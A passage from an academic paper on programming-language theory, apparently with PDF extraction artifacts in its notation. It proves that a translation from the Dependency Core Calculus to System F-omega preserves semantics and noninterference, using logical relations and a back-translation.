E+ζ JsKΣδ = {(e,m) ∈ Atom+[s]Σδ | ∃v,u.

e 7−→∗ v ∧ m 7−→∗ u ∧ (v,u) ∈ V+
ζ JsKΣδ }

G+ζ J·KΣδ = { (∅, ∅) }
G+ζ JΓ , x : sKΣδ = {(γ [x 7→ e] ,γ [x 7→m]) |

(γ,γ) ∈ G+ζ JΓKΣδ ∧ (e,m) ∈ E+ζ JsKΣδ }

Γ | Σ ` e 'm : s | δ def
= Γ ` e : s ∧ ΣD; ΣG,

ˆΓ+ `m : δ(s+) ∧

∀ζ, (γ,γ) ∈ G+ζ JΓKΣδ .(γ(e), δ(γ(m))) ∈ E+ζ JsKΣδ

Γ ` e 'm : s
def
= Γ ` e : s ∧ L+` ;L+v,�

+, Γ+ `m : s+ ∧

let δ = {α` 7→ α̂` | ` ∈ L`} ∪ {α� 7→ α̂�} ∧
γv = JL+vK ∧ γ� = J�+K in
Γ | Σ ` e ' δ(γv(γ�(m))) : s | δ

Figure 12. DCC to Fω: Cross-Language Logical Relation

are related if, given related inputs, they produce related outputs.
But when should two values be related at type T̀ s? Intuitively,
η` e should be related to Λβ::∗.m if e is related to the protected
contents of m, which we will denote with m′. We could extract m′

if we could instantiate β with s+ and apply the resulting term to a
protection proof of type (α� α` s+) and the identity continuation.
However, a term of type (α� α` s+) does not exist in general, so
we cannot use the identity continuation.

Note that we can always construct a protection proof of type
(α� α` (T̀ s)+). If we instantiate β with (T̀ s)+ and provide the
proof and a suitable continuation, then m must eventually call that
continuation on the protected term m′. We use the continuation
η`,sk given at the top of Figure 12. This continuation corresponds to
λx : s. η` x in DCC, and simply protects its argument at label `. We
consider η` e related to Λβ::∗.m when there exists an m′ such that
m[(T̀ s)+/β] η`,sk is equivalent to η`,sk m′ (in the target language!),
and e is related to m′. This technique is reminiscent of the cross-
language relation for CPS given by Chlipala [8].

To require equivalence of the two Fω terms above, we use the
Fω logical relation E, which is indexed by ρ. In Figure 12, we use
the ρ defined for our protection ADT in §5.3. To generate this ρ
we require an observer, therefore the value and term relations must
be indexed by an observer. However, we quantify over all possible
observers when we define the relation ' for open terms.

Two terms e and m are related in E+ζ JsKΣδ if they evaluate to
values that are related in V+

ζ JsKΣδ . Note that any target term in E+ζ JsKΣδ
must reduce to a value, since the type s+ cannot be an abstract type
α, whereas in EJαKD;G

ρ terms may not reduce to a value. In the
top-level relation Γ ` e 'm : s, as in §5.3, we use JL+vK and J�+K
from Figure 10 to implement L+v and �+. We pick δ using the
same types from JL+` KΣζ . Unlike in the Fω logical relation, we do
not provide a relational interpretation for these types because terms
of type α̂` or (α̂� α̂` t) are never related by this logical relation.
Such terms can only appear in larger terms of translation type.

To prove the translation is correct, we’ll need the following
two lemmas. Lemma 6.1 is a free theorem, called the Parametricity
Condition by Wadler [21]. Intuitively it states that passing two
composed continuations to a function is the same as passing one,
and then applying the other to the result.

Lemma 6.1 (Free theorem: parametricity condition)
If D,α :: ∗ ` ρi(t1) :: ∗, D ` ρ1(tg) :: ∗, D ` ρ2(tf ) :: ∗,
D; G `m : ρi(∀α::∗. (t1× (t2→ α))→ α),
D; G `mf : tg→ tf , D; G `mg : t2→ tg ,
(ma,m′a) ∈ EJt1K

D;G

ρ[α 7→(tg,tf ,R)]
,

then (mf (m [tg] 〈ma,mg〉),m [tf ] 〈m′a,mf ◦mg〉) ∈ EJtf KD;G
ρ

Lemma 6.2 below tells us that if a source term e1 is related to
m1, and m1 is related to m2 in the Fω relation, e1 is also related to
m2 in the cross-language relation. This allows us to use reasoning
in the target logical relation, e.g., to use the parametricity condition,
to reason about the cross-language relation.

Lemma 6.2 (Cross-language relation respects Fω relation)
Let ρ = JL+` KΣζ . If (v,u) ∈ V+

ζ JsKΣδ and (u1,u2) ∈ EJs+KΣρ then
(v,u2) ∈ V+

ζ JsKΣδ

We prove Theorem 6.3, which says that if a source term is well-
typed then it must be related to its translation in the cross-language
logical relation. The standard notion of adequacy—given a closed
boolean expression e, its translation m runs to the same boolean
value as e—follows from this theorem. The proof of Theorem 6.3
is by induction on Γ ` e : s ; m. The case for bind is the most
interesting. We sketch this case by noting a series of equivalences.
We decompose the translation of the bind continuation (λx:s+̂1 .m2

in the proof below) into the η`,sk continuation and the continuation
mf defined below. Then we use the parametricity condition and
the definition of V+

ζ JT̀ s1KΣδ to find the protected target value m′

inside m1.

Theorem 6.3 (Translation preserves semantics)
If Γ ` e : s and Γ ` e : s ; m then Γ ` e 'm : s

Proof Sketch:
Show bind x = e1 in e2 : s2 is related to
m1 [s+2 ] 〈pfJ` � s2K,λx:s+1 .m2〉
Let xp = p̂fJ` � s2K

mf = λy:(T̀ s1)+̂.y [s+̂2 ] 〈xp,λx:s+̂1 .m2〉 : (T̀ s1)+̂→ s+̂2 .
Suppose e1 7−→∗ η` e′1.
Suffices to show:
e2[e′1/x] ≈m1 [s+2 ] 〈pfJ` � s2K,λx:s+1 .m2〉 by evaluation
e2[e′1/x] ≈m1 [s+2 ] 〈pfJ` � s2K,mf ◦ η`,sk 〉 by Lemma 6.2
e2[e′1/x] ≈mf (m1 [s+2 ] 〈pfJ` � T̀ s1K,η

`,s
k 〉) by Lemma 6.1

e2[e′1/x] ≈mf (η`,sk m′) by IH on e1 and m1

e2[e′1/x] ≈m2[m′/x] by evaluation

Follows by IH on e2 and m2

7. Translation Preserves Noninterference
In this section, we present our central result, that our translation
from DCC to Fω preserves noninterference. The proof requires
a back-translation. Our back-translation is inspired by Ahmed
and Blume’s [5], but contains several novel features as discussed
below. We first present the back-translation and then prove that our
translation preserves observer-sensitive equivalence.

Below we write s+̂ to denote s+ with all instances of α` and
α� replaced with α̂` and α̂�, respectively. We analogously put the
hat symbol ˆ on other notation that we have defined already, such
as Γ+ to Γ +̂, to indicate substitution of type and term variables in
L+` ;L+v,�

+ with those in D`; G`,G�.
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Σ; Gk; Γ +̂ `m : s+̂ � e where ΣD;ΣG,Gk, Γ
+̂ `m : s+̂ and Γ ` e : s

Σ; Gk; Γ +̂ ` 〈〉 : 1 � 〈〉

Σ; Gk; Γ +̂ `m : s+̂i � e

Σ; Gk; Γ +̂ ` inji m : s+̂1 + s+̂2 � inji e

(x : s+̂) ∈ Γ +̂

Σ; Gk; Γ +̂ ` x : s+̂ � x

Σ; Gk; Γ +̂,x : s+̂ `m : s+̂2 � e

Σ; Gk; Γ +̂ ` λx:s+̂1 .m : s+̂1 → s+̂2 � λx : s1. e

Σ; Gk; Γ +̂ `m1 : s+̂1 � e1 Σ; Gk; Γ +̂ `m2 : s+̂2 � e2

Σ; Gk; Γ +̂ ` 〈m1,m2〉 : s+̂1 × s+̂2 � 〈e1, e2〉

FD-K
k : (s+̂→ (T̀ s)+̂) ∈ Gk

Σ; Gk; Γ +̂ ` k : s+̂→ T̀ s+̂ � λx : s. η` x

FD-η
Σ; Gk,k : (s+̂→ (T̀ s)+̂); Γ +̂ `m[(T̀ s)+̂/β] 〈p̂fJ` � T̀ sK,k〉 : T̀ s+̂ � e

Σ; Gk; Γ +̂ ` Λβ::∗.m : T̀ s+̂ � e

FD-BIND
Σ; Gk; Γ +̂ `mp : (α� α` s+̂)× (s′+̂→ s+̂) Σ; Gk; Γ +̂ `m : (T̀ s′)+̂ � e Σ; Gk; Γ +̂ ` prj2 mp : s′+̂→ s+̂ � e

′

Σ; Gk; Γ +̂ `m [s+̂] mp : s+̂ � bind x = e in e′ x

FD-SUBTERM
Σ; Gk; Γ +̂ ` F : s+̂1⇒s+̂2 � F

′ Σ; Gk; Γ +̂ `m : s+̂1 � e

Σ; Gk; Γ +̂ ` F[m] : s+̂2 � F
′[e]

FD-HOLE 6+
E6+[u] 7−→m1 Σ; Gk; Γ +̂ `m1 : s+̂2 � e

Σ; Gk; Γ +̂ ` E6+[u] : s+̂2 � e

FD-HOLE+

Σ; Gk; Γ +̂ `m : s+̂1 + s+̂2 Σ; Gk; Γ +̂ ` case m of inj1 x1.m1 || inj2 x2. m2 : t where 6 ∃s′.t = s′+̂

Σ; Gk; Γ +̂ ` case m of inj1 y1.E
6+[m1[y1/x1]] || inj2 y2. E 6+[m2[y2/x2]] : s+̂ � e (fresh y1,y2)

Σ; Gk; Γ +̂ ` E6+[case m of inj1 x1.m1 || inj2 x2. m2] : s+̂ � e

Figure 13. Fω to DCC: Term Back-Translation

7.1 Back-Translation
Recall from §3 that proving equivalence preservation for functions
requires a back-translation. Specifically, proving that (f1, f2) ∈
VJs′→ sKζ implies (f1, f2) ∈ VJs′+→ s+KΣρ (where ρ = JL+` KΣζ ),
requires that given (m1,m2) ∈ EJs′+KΣρ we can produce (e1, e2) ∈
EJs′Kζ . Note that m1 and m2 have the translation type s′+̂ under
Σ. So, at the “top-level” we need to back-translate terms m where
Σ `m : s+̂. However, consider the function λx:s′+̂.m : s′+̂→ s+̂.
The obvious way to back-translate this is to back-translate the
term Σ,x : s+̂ ` m : s+̂. Therefore, we will at least need to be
able to back-translate terms m such that ΣD; ΣG, Γ

+̂ ` m : s+̂,
where Γ +̂ is restricted to contain only variables of translation type.
To do so, we will set up a back-translation judgment of the form
Σ; Γ +̂ ` m : s+̂ � e which says that the target term m, which has
type s+̂ under the open ADT Σ and the term context Γ +̂, back-
translates to e of type s under context Γ . In fact, our back-translation,
defined in Figure 13, will require an additional environment Gk,
but the reader should ignore that for now. We will introduce this
extra environment as we explain Figure 13. First, we discuss the
rules for back-translating values and then the more complex rules
for back-translating expressions.

Back-translating values The rules for back-translating values are
in the top half of Figure 13. We back-translate 〈〉 to 〈〉. We back-
translate a pair 〈m1,m2〉 : s+̂1 × s+̂2 to 〈e1, e2〉 if m1 : s+̂1 and
m2 : s+̂2 back-translate to e1 and e2, respectively. We back-translate
sums and functions of translation type similarly by structural
recursion since their subterms must be of translation type.

For type abstractions, we only need to be able to back-translate
terms Λβ::κ.m of translation type, i.e., of type (T̀ s)+̂, which is
defined by rule FD-η. Note that Λβ::κ.m can only be of translation
type when κ = ∗, so we only need to back-translate Λβ::∗.m. As
discussed in §6, the term Λβ::∗.m has some protected contents
m′. Roughly speaking, if we could back-translate m′ : s+̂ to e′,
then Λβ::∗.m : (T̀ s)+̂ should back-translate to η` e′. To extract
m′, we need to provide a protection proof for (α̂� α̂` s+̂) which
does not exist in general. Previously, we noted that we can always
construct a protection proof for (α̂� α̂` (T̀ s)+̂) and used the
continuation η`,sk . However, here if we use the continuation η`,sk
then the back-translation would not be well-founded. Instead, we

introduce a continuation variable k : s+̂ → (T̀ s)+̂ and keep it
in a separate environment Gk. Then we back-translate Λβ::∗.m
to e by back-translating mk = m[T̀ s+̂/β] 〈p̂fJ` � T̀ sK,k〉 to e.
Note that parametricity guarantees that the term mk will return the
result of the continuation k applied to the protected contents m′.
Thus, the back-translation of mk will eventually back-translate km′

to produce its result. We back-translate k via FD-K to λx : s. η` x
and back-translate m′ to e′. Hence, we back-translate k m′ to
(λx : s. η` x) e

′ which is beta-equivalent to η` e′.

Back-translating expressions When back-translating a term
whose subterms are all of translation type, we proceed by struc-
tural recursion for most forms. When a term has subterms of
non-translation type, we use partial evaluation to eliminate those
subterms. Our partial evaluation is more involved than Ahmed and
Blume’s because our target language is not restricted to CPS form
(i.e., not all subterms of an expression are values). With a CPS
restriction, every elimination form in evaluation position is a redex,
but without this restriction one needs to look arbitrarily deep to find
a redex.

The back-translation of bind expressions depends on the invari-
ants imposed by the protection types, expressed in the FD-BIND
rule. In the target language, bind appears as an expression like
m′ [s+̂] mp. That is, an expression of type (T̀ s)+̂ applied to a
type and a protected continuation.

To illustrate back-translation of other expressions, let us consider
how to back-translate the term prj1 m : s+̂1 . There are two cases.

1. Subterms are of translation type In the simplest case, the
subterm m is of translation type s+̂1 × s+̂2 . We can back-translate m

to e and prj1 m to prj1 e.
The same idea applies to all elimination forms of translation type,

such as application and case, and is captured by the FD-SUBTERM
rule. To abstract this reasoning, we introduce a restricted evaluation
context F—the grammar appears in Figure 14. This context is
restricted to be one level deep. Any target elimination form can
be written as F[m]. If both the type of the hole and the result are
translation types, then we can simply back-translate F to F and m to
e, and produce F[e]. We omit the definition of context typing, as it is
standard. We write F : t1⇒t2 to mean the hole of F has type t1while
the result has type t2, under type and term environments that are
obvious from context. We also omit the back-translation of F. Each
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Fω ctxt F ::= prji [·]T | [·]T m | [·]T [t] |
case [·]T of inj1 y.m1 || inj2 y. m2

DCC ctxt F ::= prji [·]S | [·]S e | bind x = [·]S in e |
case [·]S of inj1 y. e1 || inj2 y. e2

E 6+ =F0[F1[...Fn]] where

ΣD; ΣG,Gk, Γ
+̂ ` F0 : t1⇒s+̂ ∀i ∈ [1,n+1]. 6 ∃si.ti = s+̂i

∀i ∈ [1,n].ΣD; ΣG,Gk, Γ
+̂ ` Fi : ti+1⇒ti

Figure 14. Fω to DCC: Back-Translation Contexts

F is back-translated by back-translating each of its subterms—which
a simple case analysis shows must all be of translation type—and
back-translating [·]T to [·]S.

2. Subterms are not of translation type Next, consider the scen-
ario where the subterm m is of non-translation type s+̂1 × t2. Let us
consider the structure of m. If m is a value u that is not a variable,
then u = 〈m1,m2〉. Hence, we can reduce prj1 〈m1,m2〉 7−→m1

and then back-translate m1 : s+̂1 . We will come back to the
possibility of u being a variable shortly.

But what if m is not a value? Intuitively, there must be some
redex F[u] in m. If we can find that redex and reduce it, then
we can eliminate a term of non-translation type and continue
back-translating, For example, if m is the redex F[u], then we
can reduce prj1 F[u] 7−→ prj1 m′ and continue back-translating
prj1 m′ : s+̂1 . Note that this means our back-translation depends on
strong-normalization. We discuss this further in §8.

More generally, when a subterm is of non-translation type,
we evaluate away terms of non-translation type by repeatedly
reducing the inner-most redex until all subterms are of translation
type. To find the inner-most redex of a term, we decompose the
term into F0[F1[F2[. . .Fn[u]]]] (case 2a). When a term cannot
be decomposed like this and is of non-translation type, there is
additional structure imposed by our type translation that we use to
rewrite the term (case 2b).

2a. There exists a non-translation redex Suppose we decompose
a term into E6+[u] = F0[F1[F2[. . .Fn[u]]]], where the result of F0 is
a translation type and the hole and result types of all other Fi are non-
translation types. We refer to the redex Fn[u] as a non-translation
redex. We use E6+ to denote such a sequence of Fi contexts, formally
defined in Figure 14. In this case, the rule FD-HOLE applies. We
perform one step of evaluation, eliminating the redex Fn[u], then
continue back-translating the resulting term. We might worry that
here u can be a variable, and thus E6+[u] is stuck. However, recall
by assumption that the hole of Fn must be of non-translation type.
Let us consider which variables can appear in the hole of Fn.

During back-translation, only certain variables are free. Free
variables can be either the coercion functions c`′`, the proof con-
structors p̂t, the variables x : s+̂ from functions of translation type,
or the variables k : s+̂→ (T̀ s)+̂ introduced by the back-translation.
Clearly a variable of translation type cannot appear in the hole, so u

cannot be one of the variables from the final two cases.
Suppose u is a coercion function c`′` : α̂`′ → α̂`. Then Fn[u]

has type α̂`. However, a term of type α̂` cannot appear in any
evaluation context. This follows by considering the type of each
evaluation context in Fω . Since there must be at least an outer F0

whose result is of translation type, u cannot be a coercion function.
Finally, suppose u is a proof constructor, for instance, p̂1.

Then Fn[u] = p̂1 [t] has type (α̂� α̂` 1). Again, terms of this
type cannot appear in any evaluation context due to the types of
evaluation context in Fω . Similar reasoning applies to all proof
constructors since after wrapping them in some number of F

contexts the final result will be a term of protection type which

cannot appear in any evaluation context. So u cannot be a proof
constructor. Hence, we conclude that it is impossible for a value u
in E6+[u] to be a variable.

2b. There does not exist a non-translation redex Note that the
FD-HOLE 6+ rule requires that the hole of each Fi be of non-
translation type. Suppose that before we find a non-translation
redex, we reach some boundary where the hole of a context has
translation type. That is, we decompose a term into E6+[Fi[m]] =
F0[F1[F2[. . .Fi[m]]]], where m is the first term (going outside in)
that has translation type, but the result of Fi is of non-translation
type. In this case E6+[Fi] is not a valid E 6+1 and there is no non-
translation redex. This could happen, for instance, if m is a variable
of translation type, which we can only rule out when E6+[Fi] is a
valid E 6+1 . Let us analyze what Fi could be.

If Fi is prji [·]T, then m must have type s+̂ × s′+̂. But then the
result of Fi is a translation type, so Fi cannot be a projection.

If Fi is [·]T m′, then m′ must have type s+̂→ s′+̂. But then the
result of Fi is a translation type, so Fi cannot be an application.

If Fi is [·]T [t], then m must have type (T̀ s′)+̂. But then Fi[m]
must be m′ [t], and this must appear in at least one higher context
m′ [t] mp. But mp : (α� α` s+̂) × s′+̂ → s+̂—since we can
only construct protection proofs for translation types—so t = s+̂.
Therefore, m′ [t] mp is of translation type. Recall that we assumed
that m is the first term of translation type, so Fi cannot be a
type instantiation.

Finally, if Fi is case [·]T of inj1 x1.m1 || inj2 x2. m2, then
m must have type s+̂ + s′+̂, yet the result of Fi can be of non-
translation type! That is, we are trying to back-translate the follow-
ing expression:

· · · ` E 6+[case m of inj1 x1.m1 || inj2 x2. m2] : s+̂1

We could back-translate E6+[case m of inj1 x1.m1 || inj2 x2. m2]

if we could rewrite this expression into one in which all the subterms
are of translation type. Recall that we know the result of E6+ must
result in a translation type, and by assumption m is of translation
type. Therefore, we can rewrite the term! Specifically, we rewrite
the term into:

· · · ` case m of inj1 x1.E
6+[m1] || inj2 x2. E6+[m2] : s+̂1

This scenario is captured by the rule FD-HOLE+. This rule is
analogous to the commuting conversion used by Shikuma and
Igarashi [17]. All of the subterms of this rewritten term are of
translation type, so we can continue back-translating the structurally
smaller terms.

Back-translation is well-founded While Ahmed and Blume
claimed that their back-translation is well-founded by a nested induc-
tion metric, careful inspection of their back-translation reveals that
their nested induction metric is not valid for their back-translation.
We believe that their back-translation is well-founded, but that a
more advanced technique is necessary to prove it.

To prove that our back-translation is well-founded, we use a
novel logical relations argument. We formalize an open unary logical
relation and prove that any well-typed Fω term under Σ belongs
to this logical relation. When proving strong normalization of the
simply-typed lambda calculus via logical relations, one wants terms
to belong to the relation if the terms evaluate to a value. We, however,
do not wish to “run” terms; we want terms m to belong to our logical
relation if there exists a term e such that m back-translates to e.
Back-translation performs partial evaluation, but the “normalization”
done during back-translation differs from evaluation using the Fω
dynamic semantics, for instance, because we perform reduction
under λ.

We briefly present the logical relation at a high-level. Full defini-
tions and proofs are available in our online technical appendix [7].
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Atom �[t]Σδ ={ ((Gk; Γ +̂),m) | ΣD; ΣG,Gk, Γ
+̂ `m : δ(t) }

Atom �ctx
[
t, s+̂

]Σ
δ
={ ((Gk; Γ +̂),E6+) | ΣD; ΣG,Gk, Γ

+̂ ` E6+ : δ(t)⇒s+̂ }

O �Js+̂KΣδ ={(W,m) | (W,m) ∈ Atom �

[
s+̂
]Σ
δ
∧ ∃e.Σ; Wk; WΓ `m : s+̂ � e}

Wf �ctx Σ[t, s+̂] ={(W,E6+) ∈ Atom �ctx
[
t, s+̂

]Σ
∅
| ∀W′,u.(W′ ⊇W ∧ (W′,u) ∈ Atom �val[t]Σ∅ ) =⇒ (W′,E 6+[u]) ∈ O �Js+̂KΣ∅ }

Rel � Σ∗ ={(s+̂,R) | R ⊆ O �Js+̂KΣ∅ ∧ ∀m,W′.(W,m) ∈ R ∧ W′ ⊇W) =⇒ (W′,m) ∈ R}
∪ {(t,R) | R ⊆ Atom �[t]Σ∅ ∧ 6 ∃s.t = s+̂ ∧ ∀ (W,m) ∈ R, ∀W′ ⊇W.(W′,m) ∈ R ∧

∀E 6+, s′.(W,E 6+) ∈Wf �ctx Σ[t, s′+̂] =⇒ (W,E 6+[m]) ∈ O �Js′+̂KΣ∅ }
Rel � Σκ1 → κ2

={(t1,R1) | ∀(t2,R2) ∈ Rel � Σκ1
.((t1 t2),R1 (t2,R2)) ∈ Rel � Σκ2

∧
∀(t′2,R

′
2) ∈ Rel � Σκ1

.(t2,R2) ≡Σ
κ1

(t′2,R
′
2) =⇒ (R1 (t2,R2)) ≡Σ

κ2
(R1 (t′2,R

′
2))}

Figure 15. Fω to DCC: Well-Formed Relations

The logical relation considers terms of translation type and non-
translation type separately. The essence of the relation is that a
term of translation type belongs to the relation E �Js+KΣδ if it is
back-translatable, while a term of non-translation type belongs to
the relation E �JtKΣδ if plugging the term into a valid E6+ context
results in a term that is back-translatable. We use a >>-closed-style
relation to formalize this. In particular, we say that E6+ belongs
to the continuation relation K �Jt, s+̂KΣδ if, given any u ∈ V �JtKΣδ ,
E6+[u] is back-translatable. Implicit in the definition of this logical
relation is an obligation to show any expression we back-translate
will not get stuck, formalizing our informal argument from earlier
about rewriting E6+[case m of inj1 x1.m1 || inj2 x2. m2]. There
is no V �Js+KΣδ relation for translation types. The relation V �JtKΣδ
for non-translation types is completely standard and ensures that
subterms belong to the E �JtKΣδ relation, so we give only excerpts.

Our logical relation is based on a possible-worlds model. Typ-
ically, a possible-worlds model is necessary when membership in
the relation depends on some state. For instance, a term may only
be well-typed under certain heaps, and when evaluating that term
the heap changes. Worlds are used to keep track of these possible
heaps as they change. Our language is not “stateful” in the usual
sense, but as we back-translate a term we may add new free variables
to the environment—e.g., k : s+̂→ T̀ s+̂. Since target terms can
only be back-translated under certain term environments—i.e., the
environments Gk and Γ +̂—we use worlds W to keep track of these
environments as they are extended during the back-translation.

We define Rel � Σκ in Figure 15, which contains well-formed
relations. For translation types at kind ∗, a well-formed relation
guarantees that the elements of the relation are back-translatable.
For non-translation types t at kind ∗, a well-formed relation R
guarantees that for all contexts E 6+, if filling E6+ with a value of
type t results in a back-translatable term, so does filling E6+ with
elements of R. Relations on types of higher kinds are well-formed
if, given equivalent relations, they produce equivalent relations. We
omit the definition of equivalence on relations as the definition is
standard and analogous to our Fω definition of relation equivalence.

Finally, since this logical relation is for Fω terms, we require
an interpretation of the kinding judgment as is the case in our Fω
relation in §5.2. These relations, defined in Figure 17, are standard.

The definition of the top-level back-translation logical relation,
D`,∆; G`,G�,Gk, Γ

+̂,Gk,Γ � � m : t, first closes all free
variables in ∆ and Γ. We omit the definitions of D �J∆KΣ and
G �JΓKΣδ , which are standard. We also permit closing some of the
variables in Γ +̂. This is to account for partial evaluation. For example,
a function whose parameter is of translation type may be back-
translated by leaving the variable free, if the result is of translation
type, or by reducing the function via FD-HOLE 6+, if the result is
of non-translation type. All the above environments are required to

E �Js+̂KΣδ =O �Js+̂KΣδ
V �Jt′→ tKΣδ ={(W,λx:t′.m) ∈ Atom �[t′→ t]Σδ |

∀W′,m′.W′ ⊇W ∧ (W′,m′) ∈ E �Jt′KΣδ =⇒
(W′,m[m′/x]) ∈ E �JtKΣδ }

V �J∀α::κ. tKΣδ={(W,Λα::κ.m) ∈ Atom �[∀α::κ. t]Σδ |
∀W′, t′,R.W′ ⊇W ∧ (t′,R) ∈ Rel � Σκ =⇒

(W′,m[t′/α]) ∈ E �JtKΣ
δ[α 7→(t′,R)]

}

V �Jt t′KΣδ =(T �Jt :: κ′→∗KΣδ (δ1(t′),T �Jt′ :: κ′KΣδ ))

E �JαKΣδ =δR(α)

E �JtKΣδ ={(W,m) ∈ Atom �[t]Σδ | ∀W
′,E6+, s+̂.

W′ ⊇W ∧ (W′,E6+) ∈ K �Jt, s+̂KΣδ =⇒
(W′,E6+[m]) ∈ O �Js+̂KΣδ }

K �Jt, s+̂KΣδ ={(W,E 6+) ∈ Atom �ctx
[
t, s+̂

]Σ
δ
| ∀W′,u.

W′ ⊇W ∧ (W′,u) ∈ V �JtKΣδ =⇒
(W′,E6+[u]) ∈ O �Js+̂KΣδ }

D`,∆; G`,G�,Gk, Γ
+̂,Γ � � m : t

def
=

∀Γ +̂1 , Γ
+̂
2 , δ, γ,γ. Γ

+̂
1 ] Γ +̂2 = Γ +̂ ∧ δ ∈ D �J∆KD` ∧

((Gk; Γ +̂2 ), γ) ∈ G �JΓ +̂1 K
D`;G`,G�
δ ∧

((Gk; Γ +̂2 ),γ) ∈ G �JΓK
D`;G`,G�
δ =⇒

((Gk; Γ +̂2 ), δ(γ(γ(m)))) ∈ E �JtK
D`;G`,G�
δ

Figure 16. Fω to DCC: Back-Translation Logical Relation

T �Jt :: ∗KΣδ = E �JtKΣδ
if t ∈ {1,α, t1+ t2, t1× t2, t1→ t2,∀α::κ. t}

T �Jα :: κ1→ κ2KΣδ = δR(α)

T �Jλα::κ1.t :: κ1→ κ2KΣδ = λRτ .{T �Jt :: κ2KΣ
δ[α::κ1 7→τ ]

}

T �Jt1 t2 :: κ2KΣδ = (T �Jt1 :: κ1→ κ2KΣδ
(δ(t2),T �Jt2 :: κ1KΣδ ))

Figure 17. Fω to DCC: Kinding Interpretation

obtain a strong enough induction hypothesis. Below we show that
any well-typed Fω term, as long as it is open with respect to Σ and
the other environments required by the back-translation, belongs to
the logical relation.

Lemma 7.1 (Type interpretation is well-formed)
If ∆ ` t :: κ and δ ∈ D �J∆KΣ then

1. (δ(t),T �Jt :: κKΣδ ) ∈ Rel � Σκ

2. If δ′ ∈ D �J∆KΣ such that δ ≡D;G δ′, then
T �Jt :: κKΣδ ≡

Σ
κ T �Jt :: κKΣ

δ′
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Lemma 7.2 (Fundamental property of logical relation)
If D`,∆; G`,G�,Gk, Γ

+̂,Gk,Γ `m : t then
D`,∆; G`,G�,Gk, Γ

+̂,Gk,Γ � � m : t

Finally, as a corollary of the fundamental property above, we
show that the back-translation exists.

Corollary 7.3 (Back-translation exists (1))
If ΣD; ΣG,Gk, Γ

+̂ `m : s+̂ then ∃e.Σ; Gk; Γ +̂ `m : s+̂ � e.

Corollary 7.4 (Back-translation exists (2))
If ΣD; ΣG `m : s+̂ then ∃e.Σ; ·; · `m : s+̂ � e.

The first corollary form is needed to show the back-translation
exists in its general form. The second corollary is the form needed
in the proof of equivalence preservation. Note that the contexts are
empty except for the protection ADT.

Properties of back-translation To show our back-translation pre-
serves semantics we prove Corrollary 7.6. Note that in order to have
a strong enough induction hypothesis we first prove Lemma 7.5,
which quantifies over arbitrary Gk environments. We substitute
variables in Gk with appropriate η`,sk .

Lemma 7.5
Let γk={k 7→ η`,sk | k : s+̂→ (T̀ s)+̂∈ Gk}

δ = {α` 7→ α̂` | ` ∈ L`} ∪ {α� 7→ α̂�}.
If ΣD; ΣG,Gk, Γ

+̂ `m : s+̂ then
∃e.Σ; Gk; Γ +̂ `m : s+̂ � e and Γ | Σ ` e ' γk(m) : s | δ.

Corollary 7.6 (Back-translation preserves semantics)
If ΣD; ΣG `m : s+̂ then
∃e.Σ; ·; · `m : s+̂ � e and · | Σ ` e 'm : s | δ

7.2 Preservation of Observer-Sensitive Equivalence
With the back-translation defined, we prove that the translation
preserves equivalence. To prove equivalence preservation, we must
simultaneously prove equivalence reflection. That is, the statement
of our theorem is in two parts. Part 1 (preservation) states that given
related source terms e1 and e2 that translate to target terms m1 and
m2, the target terms must be related. Part 2 (reflection) states the
converse: if the translations of two source terms are related, the
source terms must be related.

Theorem 7.7 (≈ζ preservation and reflection)
Let Γ ` e1 : s ; m1 and Γ ` e2 : s ; m2.
1. If Γ ` e1 ≈ζ e2 : s, then L+` ;L+v,�

+, Γ+ `m1 ≈ζ m2 : s+.
2. If L+` ;L+v,�

+, Γ+ `m1 ≈ζ m2 : s+, then Γ ` e1 ≈ζ e2 : s.

Indirect proof of noninterference Finally, as a sanity check that
our notion of noninterference in Fω makes sense, we can prove that
noninterference in DCC, Theorem 5.2, follows from parametricity:
Theorem 5.2 (Noninterference)
If Γ ` e : s then ∀ζ. Γ ` e ≈ζ e : s.
Indirect Proof of Noninterference:
By correctness of the translation:
Γ ` e : s ; m, Γ ` e 'm : s, and L+` ;L+v,�

+, Γ+ `m : s+.
By parametricity, L+` ;L+v,�

+, Γ+ `m ≈m : s+.
Since L+` ;L+v,�

+, Γ+ ` m ≈ m : s+ quantifies over all ρ, γ, γ′,
the particular implementations we use in the observer-sensitive
definition work, so: L+` ;L+v,�

+, Γ+ `m ≈ζ m : s+.
By reflection, Γ ` e ≈ζ e : s.

8. Related Work, Future Work, and Conclusion
In §3, we examined the counterexample Shikuma and Igarashi
[17, 18] gave to show that Tse and Zdancewic’s translation fails
to preserve observer-sensitive equivalence. In that work, they also

gave a noninterference-preserving translation, much like Tse and
Zdancewic’s, from a variant of DCC to a simply-typed target lan-
guage. Specifically, their source language was the sealing calculus—
a simply-typed λ-calculus with operations for sealing at level ` and
unsealing—which they proved equivalent to a variant of DCC intro-
duced by Tse and Zdancewic [19] called DCCpc for “DCC with pro-
tection contexts.” DCCpc has a lattice of monads like DCC and asso-
ciated η` and bind operations but a different type system. DCCpc typ-
ing judgments have the form Γ ;π ` e : s where π ::= ·|π, ` for ` ∈ L`
is the protection context. The typing rules for η` and bind are:
Γ ;π, ` ` e : s

Γ ;π ` η` e : T̀ s

Γ ;π ` e1 : T̀ s1 Γ , x : s1;π ` e2 : s2 π ` ` � s2

Γ ;π ` bind x = e1 in e2 : s2

Note that the premise π ` `� s2 means that either `� s2 as usual or
` v `′ for some `′ ∈ π. Thus, the following term—which is ill typed
in DCC—is well typed in DCCpc:

e = η` (λy : T̀ bool. bind x = y in x) : T̀ ((T̀ bool)→ bool)

This is the same ill-typed term we discussed in §3. Thus,
Shikuma and Igarashi have weakened their source language to
admit terms disallowed by DCC. While DCCpc is of independent
interest and arguably has a more pragmatic type system because
it admits terms that intuitively should be well-behaved in DCC,
adding this rule simplifies the proof of full-abstraction.4

In addition to weakening their source language, Shikuma and
Igarashi also strengthen their target language: it admits fewer terms
compared to System F since their target is a simply-typed λ-calculus,
extended with base types to represent each ` ∈ L`. They rightly note
that Tse and Zdancewic’s translation does not use polymorphism in
an essential way—that is, the translation makes use of abstract types
α` introduced “globally” (at top level) that may easily be replaced
with base types as in Shikuma and Igarashi’s work. By comparison,
our translation does make essential use of polymorphism in the
encoding of the monadic type because a continuation’s answer
type β is locally polymorphic. Moreover, we use higher-order
parametricity to require the property given by Lemma 5.1.

Our back-translation improves upon Shikuma and Igarashi’s
“inverse translation” technique [17, 18] in several ways. Our target
language Fω is more expressive than the source—e.g., we can
encode arithmetic operations in Fω but not in DCC. This is important
because, in general, relying on a close correspondence between
source and target is not practical since we want to be able to
